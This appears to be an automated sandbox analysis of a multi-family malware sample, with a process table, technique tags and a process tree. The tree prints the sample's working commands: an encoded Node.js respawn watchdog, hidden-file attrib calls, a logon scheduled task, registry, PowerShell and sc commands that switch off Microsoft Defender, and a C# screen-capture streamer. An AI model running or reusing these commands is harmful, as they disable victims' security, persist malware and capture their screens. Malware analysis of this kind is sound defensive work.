PID 1280 wrote to memory of 5944	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	124
PID 5944 wrote to memory of 3968	5944	cmd.exe	126
PID 3968 wrote to memory of 5728	3968	net.exe	127
PID 1280 wrote to memory of 4472	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	128
PID 4472 wrote to memory of 1592	4472	cmd.exe	130
PID 1592 wrote to memory of 5416	1592	net.exe	131
PID 1280 wrote to memory of 596	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	132
PID 596 wrote to memory of 3456	596	powershell.exe	135
PID 3456 wrote to memory of 2424	3456	csc.exe	137
PID 1280 wrote to memory of 4216	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	138
PID 4216 wrote to memory of 3760	4216	cmd.exe	140
PID 1280 wrote to memory of 1172	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	141
PID 1172 wrote to memory of 4628	1172	cmd.exe	143
PID 1280 wrote to memory of 2736	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	144
PID 2736 wrote to memory of 4988	2736	cmd.exe	146
PID 1280 wrote to memory of 436	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	147
PID 436 wrote to memory of 4584	436	cmd.exe	149
PID 1280 wrote to memory of 4728	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	150
PID 4728 wrote to memory of 2300	4728	cmd.exe	152
PID 1280 wrote to memory of 1952	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	153
PID 1952 wrote to memory of 800	1952	cmd.exe	155
PID 1280 wrote to memory of 1324	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	156
PID 1324 wrote to memory of 5280	1324	cmd.exe	158
PID 1280 wrote to memory of 1328	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	159
PID 1328 wrote to memory of 1152	1328	cmd.exe	161
PID 1280 wrote to memory of 2876	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	162
PID 2876 wrote to memory of 1248	2876	cmd.exe	164
PID 1280 wrote to memory of 2712	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	165
PID 2712 wrote to memory of 1264	2712	cmd.exe	167
PID 1280 wrote to memory of 1380	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	168
PID 1380 wrote to memory of 2272	1380	cmd.exe	170
PID 1280 wrote to memory of 2656	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	171
PID 2656 wrote to memory of 5584	2656	cmd.exe	173
PID 1280 wrote to memory of 1288	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	175
PID 1288 wrote to memory of 5008	1288	cmd.exe	177
PID 1280 wrote to memory of 2524	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	178
PID 2524 wrote to memory of 1672	2524	cmd.exe	180
PID 1280 wrote to memory of 4468	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	181
PID 4468 wrote to memory of 4876	4468	cmd.exe	183
PID 1280 wrote to memory of 3004	1280	2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe	184

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 8 IoCs

Hidden Files and Directories

T1564.001

pid	Process
5080	attrib.exe
4656	attrib.exe
2316	attrib.exe
4956	attrib.exe
4264	attrib.exe
1136	attrib.exe
6060	attrib.exe
1376	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4428
- C:\Users\Admin\AppData\Local\Temp\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
  C:\Users\Admin\AppData\Local\Temp\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe C:\snapshot\lofy\_monkey_b8dd4dbe.js
  2⤵
  - Checks processor information in registry
  - Suspicious use of WriteProcessMemory
  PID:1280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -Name W -Namespace N -MemberDefinition "[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();[DllImport(\"kernel32.dll\")]public static extern bool FreeConsole();[DllImport(\"kernel32.dll\")]public static extern bool AttachConsole(uint p);[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int s);";[N.W]::ShowWindow([N.W]::GetConsoleWindow(),0);[N.W]::FreeConsole();""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -Name W -Namespace N -MemberDefinition "[DllImport(\"kernel32.dll\")]public static extern IntPtr GetConsoleWindow();[DllImport(\"kernel32.dll\")]public static extern bool FreeConsole();[DllImport(\"kernel32.dll\")]public static extern bool AttachConsole(uint p);[DllImport(\"user32.dll\")]public static extern bool ShowWindow(IntPtr h,int s);";[N.W]::ShowWindow([N.W]::GetConsoleWindow(),0);[N.W]::FreeConsole();"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4164
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4820
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:3004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\ProgramData\Microsoft\Windows\ServiceProfiles\f190f7e9ca03""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1008
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\ProgramData\Microsoft\Windows\ServiceProfiles\f190f7e9ca03"
      4⤵
      Views/modifies file attributes
      PID:4656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\f190f7e9ca03""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3528
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\WindowsApps\f190f7e9ca03"
      4⤵
      Views/modifies file attributes
      PID:2316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\ProgramData\._wdm""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:1596
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\ProgramData\._wdm"
      4⤵
      Views/modifies file attributes
      PID:4956
- - C:\Users\Admin\AppData\Local\Temp\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe
    C:\Users\Admin\AppData\Local\Temp\2026-08-24_d72cac618cdc5222f55e5f6515340dd9_blankgrabber_coinminer_glassworm_icedid_luca-stealer_njrat_stealc_zxxz.exe -e "eval(Buffer.from(\"CmNvbnN0IGNwPXJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKSxmcz1yZXF1aXJlKCdmcycpOwpjb25zdCBwaWQ9MTI4MDsKY29uc3QgaXNDb21waWxlZD10cnVlOwpjb25zdCBvcmlnRXhlPSJDOlxcVXNlcnNcXEFkbWluXFxBcHBEYXRhXFxMb2NhbFxcVGVtcFxcMjAyNi0wOC0yNF9kNzJjYWM2MThjZGM1MjIyZjU1ZTVmNjUxNTM0MGRkOV9ibGFua2dyYWJiZXJfY29pbm1pbmVyX2dsYXNzd29ybV9pY2VkaWRfbHVjYS1zdGVhbGVyX25qcmF0X3N0ZWFsY196eHh6LmV4ZSI7CmNvbnN0IG9yaWdTY3JpcHQ9IkM6XFxzbmFwc2hvdFxcbG9meVxcX21vbmtleV9iOGRkNGRiZS5qcyI7CmNvbnN0IG9yaWdOTT0iQzpcXHNuYXBzaG90XFxsb2Z5XFxub2RlX21vZHVsZXMiOwpjb25zdCBia0V4ZT0iQzpcXFByb2dyYW1EYXRhXFxNaWNyb3NvZnRcXFdpbmRvd3NcXFNlcnZpY2VQcm9maWxlc1xcZjE5MGY3ZTljYTAzXFwyMDI2LTA4LTI0X2Q3MmNhYzYxOGNkYzUyMjJmNTVlNWY2NTE1MzQwZGQ5X2JsYW5rZ3JhYmJlcl9jb2lubWluZXJfZ2xhc3N3b3JtX2ljZWRpZF9sdWNhLXN0ZWFsZXJfbmpyYXRfc3RlYWxjX3p4eHouZXhlIjsKY29uc3QgYmtTY3JpcHQ9IiI7CmNvbnN0IGJrTk09IiI7CnNldEludGVydmFsKCgpPT57CiAgbGV0IGFsaXZlPWZhbHNlOwogIHRyeXtwcm9jZXNzLmtpbGwocGlkLDApO2FsaXZlPXRydWU7fWNhdGNoKGUpe30KICBpZighYWxpdmUpewogICAgY29uc3QgZW52PU9iamVjdC5hc3NpZ24oe30scHJvY2Vzcy5lbnYse19OWVhfSElEREVOOicxJ30pOwogICAgaWYoaXNDb21waWxlZCl7CiAgICAgIGxldCBydW5FeGU9b3JpZ0V4ZTsKICAgICAgaWYoIWZzLmV4aXN0c1N5bmMob3JpZ0V4ZSkpewogICAgICAgIGlmKGJrRXhlJiZmcy5leGlzdHNTeW5jKGJrRXhlKSlydW5FeGU9YmtFeGU7CiAgICAgICAgZWxzZSBwcm9jZXNzLmV4aXQoKTsKICAgICAgfQogICAgICBjcC5zcGF3bihydW5FeGUsW10se2RldGFjaGVkOnRydWUsc3RkaW86J2lnbm9yZScsd2luZG93c0hpZGU6dHJ1ZSxlbnZ9KS51bnJlZigpOwogICAgfWVsc2V7CiAgICAgIGxldCBydW5TY3JpcHQ9b3JpZ1NjcmlwdCxucD1vcmlnTk07CiAgICAgIGlmKCFmcy5leGlzdHNTeW5jKG9yaWdTY3JpcHQpKXsKICAgICAgICBpZihmcy5leGlzdHNTeW5jKGJrU2NyaXB0KSl7cnVuU2NyaXB0PWJrU2NyaXB0O25wPWJrTk07fQogICAgICAgIGVsc2UgcHJvY2Vzcy5leGl0KCk7CiAgICAgIH0KICAgICAgaWYobnApZW52Lk5PREVfUEFUSD1ucDsKICAgICAgY3Auc3Bhd24ocHJvY2Vzcy5leGVjUGF0aCxbcnVuU2NyaXB0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzonaWdub3JlJyx3aW5kb3dzSGlkZTp0cnVlLGVudn0pLnVucmVmKCk7CiAgICB9CiAgICBwcm9jZXNzLmV4aXQoKTsKICB9Cn0sMzAwMCk7\",\"base64\").toString())"
    3⤵
    PID:4604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\svchost.vbs""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4884
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\svchost.vbs"
      4⤵
      Views/modifies file attributes
      PID:4264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4152
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:2152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "WindowsSystemUpdateSvc" /F"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:1204
  - - C:\Windows\system32\schtasks.exe
      schtasks /Delete /TN "WindowsSystemUpdateSvc" /F
      4⤵
      PID:2992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "ScreenLiveClient" /F"
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:292
  - - C:\Windows\system32\schtasks.exe
      schtasks /Delete /TN "ScreenLiveClient" /F
      4⤵
      PID:3252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /TN "ScreenLiveClient" /TR "wscript.exe \"C:\Users\Admin\AppData\Local\Temp\svchost.vbs\"" /SC ONLOGON /RL HIGHEST /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2816
  - - C:\Windows\system32\schtasks.exe
      schtasks /Create /TN "ScreenLiveClient" /TR "wscript.exe \"C:\Users\Admin\AppData\Local\Temp\svchost.vbs\"" /SC ONLOGON /RL HIGHEST /F
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5944
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3968
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1592
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NoLogo -ExecutionPolicy Bypass -Command " Add-Type -AssemblyName System.Drawing Add-Type -AssemblyName System.Windows.Forms $dR = [System.Drawing.Bitmap].Assembly.Location $wR = [System.Windows.Forms.Screen].Assembly.Location Add-Type -ReferencedAssemblies $dR,$wR -TypeDefinition @\" using System; using System.Drawing; using System.Drawing.Imaging; using System.IO; using System.Threading; using System.Windows.Forms; public class SS { static int cm = 0; static bool go = true; public static void Run(int mw, int q, int fps) { try { System.Diagnostics.Process.GetCurrentProcess().PriorityClass = System.Diagnostics.ProcessPriorityClass.BelowNormal; } catch {} var sc = Screen.AllScreens; for (int i = 0; i < sc.Length; i++) { var s = sc[i]; Console.Error.WriteLine(\"MON:\" + i + \"|\" + s.Bounds.Width + \"x\" + s.Bounds.Height + \"|\" + (s.Primary ? \"P\" : \"S\")); } Console.Error.WriteLine(\"READY\"); var th = new Thread(() => { try { var si = Console.OpenStandardInput(); while (go) { int b = si.ReadByte(); if (b == -1) { go = false; break; } if (b >= 0 && b < Screen.AllScreens.Length) cm = b; } } catch {} }); th.IsBackground = true; th.Start(); ImageCodecInfo jc = null; foreach (var c in ImageCodecInfo.GetImageEncoders()) if (c.MimeType == \"image/jpeg\") { jc = c; break; } var ep = new EncoderParameters(1); ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)q); int d = 1000 / fps; Stream so = Console.OpenStandardOutput(); Bitmap cb = null; Graphics cg = null; Bitmap ob = null; Graphics og = null; int lm = -1; try { while (go) { long t = Environment.TickCount; int m = cm; var ss = Screen.AllScreens; if (m >= ss.Length) m = 0; var bn = ss[m].Bounds; if (m != lm || cb == null) { if (cg != null) cg.Dispose(); if (cb != null) cb.Dispose(); if (og != null) og.Dispose(); if (ob != null) ob.Dispose(); cb = new Bitmap(bn.Width, bn.Height, PixelFormat.Format32bppRgb); cg = Graphics.FromImage(cb); float ra = Math.Min(1.0f, (float)mw / bn.Width); if (ra < 1.0f) { int ow = (int)(bn.Width * ra), oh = (int)(bn.Height * ra); ob = new Bitmap(ow, oh, PixelFormat.Format32bppRgb); og = Graphics.FromImage(ob); og.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.Bilinear; og.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighSpeed; } else { ob = null; og = null; } lm = m; } cg.CopyFromScreen(bn.X, bn.Y, 0, 0, new Size(bn.Width, bn.Height), CopyPixelOperation.SourceCopy); Bitmap tgt; if (ob != null && og != null) { og.DrawImage(cb, 0, 0, ob.Width, ob.Height); tgt = ob; } else tgt = cb; using (var ms = new MemoryStream()) { if (jc != null) tgt.Save(ms, jc, ep); else tgt.Save(ms, ImageFormat.Jpeg); byte[] jpg = ms.ToArray(); byte[] ln = BitConverter.GetBytes(jpg.Length); so.Write(ln, 0, 4); so.Write(jpg, 0, jpg.Length); so.Flush(); } long el = Environment.TickCount - t; int w = (int)(d - el); if (w > 0) Thread.Sleep(w); } } finally { if (cg != null) cg.Dispose(); if (cb != null) cb.Dispose(); if (og != null) og.Dispose(); if (ob != null) ob.Dispose(); } } } \"@ [SS]::Run(960, 40, 12) "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:596
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ioo5j3hh\ioo5j3hh.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3456
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1DFE.tmp" "c:\Users\Admin\AppData\Local\Temp\ioo5j3hh\CSCEB4168607D78488C9558F9D470D8A2C2.TMP"
        5⤵
        
        PID:2424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1787614485866.vbs""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4216
  - - C:\Windows\system32\cscript.exe
      cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1787614485866.vbs"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:3760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1172
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 4 /f
      4⤵
      PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2736
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
      4⤵
      PID:4988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:436
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:4584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
      4⤵
      PID:2300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1952
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1324
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:5280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1328
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2876
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2712
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
      4⤵
      PID:1264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
      4⤵
      PID:2272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableScriptScanning $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableIOAVProtection $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableArchiveScanning $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue; Set-MpPreference -MAPSReporting Disabled -ErrorAction SilentlyContinue; Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue; Set-MpPreference -PUAProtection Disabled -ErrorAction SilentlyContinue""
    3⤵
    - Disables one or more Microsoft Defender components
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious use of WriteProcessMemory
    PID:2656
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableScriptScanning $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableIOAVProtection $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableArchiveScanning $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue; Set-MpPreference -MAPSReporting Disabled -ErrorAction SilentlyContinue; Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue; Set-MpPreference -PUAProtection Disabled -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc stop WinDefend"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Windows\system32\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:5008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc config WinDefend start= disabled"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2524
  - - C:\Windows\system32\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:1672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc stop SecurityHealthService"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\system32\sc.exe
      sc stop SecurityHealthService
      4⤵
      Launches sc.exe
      PID:4876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "sc config SecurityHealthService start= disabled"
    3⤵
    - Executes a command shell one-liner
    PID:3004
  - - C:\Windows\system32\sc.exe
      sc config SecurityHealthService start= disabled
      4⤵
      Launches sc.exe
      PID:5832
- - C:\Windows\system32\cmd.exe
